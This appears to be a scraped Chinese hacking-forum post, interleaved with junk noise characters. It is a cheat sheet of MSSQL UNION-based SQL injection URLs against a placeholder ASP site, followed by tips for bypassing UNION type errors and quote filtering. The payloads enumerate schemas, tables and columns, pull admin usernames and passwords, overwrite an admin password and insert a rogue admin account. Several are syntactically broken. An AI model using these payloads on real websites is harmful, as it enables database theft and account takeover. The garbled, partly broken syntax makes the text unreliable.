爆库:# d; F* A: x/ P1 v. A# ~- d
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
% O0 N! u' a1 w" y+ aSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
. G1 H# l) j% a! f) t Y5 s! S8 Z爆下一个库:1 p# y; b- p% C' ^+ s! }. J
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
" n( w$ |5 P% c9 b
2 A$ ?" W4 w0 S k/ j ?+ l8 U爆表:
: {' c5 U$ g" I. k$ J; ^http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--0 M& s* I# B% ^9 S$ L S3 J* t
5 ~& V9 u d& S3 b) t& p; J" v1 W
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
+ K4 h8 N- k: j* w3 `) z% U! |9 \1 k
爆下一个表5 }4 |3 i% n5 ~! @
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--$ r1 O9 Y0 }! ? W
1 `& A$ X v7 @3 Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
2 B/ X/ O! V+ f4 `" t9 G5 q
$ N+ m. h/ X! J+ c$ {
5 N+ n8 V# V ?& j. S. m7 |7 b; ~! h2 S3 y9 S
爆字段:
! V( J* U+ c9 L# \- t: I& `! Fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--9 V* X" W% _. T4 p' S6 f
1 Y6 ]4 b7 g/ F8 O0 g/ T
爆下一个字段# R/ J; I( `* f2 }
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--. b% T* _/ D6 J& A
3 w, v: G7 f; w0 ?' w! [/ ^0 O, S
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--+ c- c: O* |1 g' J
6 O' @* t: L" H$ t/ k
) u- ^; u) y+ V3 t, l/ U. }* {爆字段里的内容
2 S- l4 u! S, S/ T, {http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
W7 X$ v+ b% [! Y+ E0 d+ P) H, A* D7 @& }
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
1 s7 F- ?" K2 P: s& y
8 y7 j" M1 R4 Q! x4 hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- n, {( M+ m1 A; k
, ~2 z! I+ m6 Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--2 y) M8 e/ ]- S
* L/ L, ]) g& x2 s8 d
更新字段里的内容
X/ X4 @6 l U5 N: E b9 B6 S% H- Ohttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
/ i3 |1 J; Q4 K0 d) O4 ?
0 S$ m7 [& `: ^http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--" P+ _/ I9 u3 K4 `( v& S
_: c$ o7 ^/ ^$ }2 T# ^
4 ^8 H3 y0 L: T7 P7 b2 x9 Y
0 I% a% g- D, m N 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
/ W$ s( o( X5 ] y4 N) `# _" A 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
j% ]0 N0 y. E+ q& L0 u# C 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。" w/ k) e# a$ e" |+ F9 h2 y
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
+ N" \' r+ n3 ]/ v: d( @2 w7 q' h
突了了大部份限制的语句' S2 p( J" q6 N7 [
and 1=2 union all select char(49),char(50),null,null;--( U( W# v* c$ ?3 j9 U) g
1 j4 m8 Z. v6 b, J. M: J$ H, [, {6 w ? j
null也可以正常执行,不过没有回显,不好判断回显的列数。
( u9 |. d L- I& p一般union遇到问题都是有text或者ntext字段,image的很少遇到5 k0 n& p( [! |5 w! |2 F* C
4 H3 R" H6 E5 a7 C) A. p0 k- w6 x6 @
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
9 y5 S3 H# `* z; x; }& S8 A8 G t6 \1 [' G
- H8 u6 M8 s/ O" u% g0 L9 Q) [0 f+ X |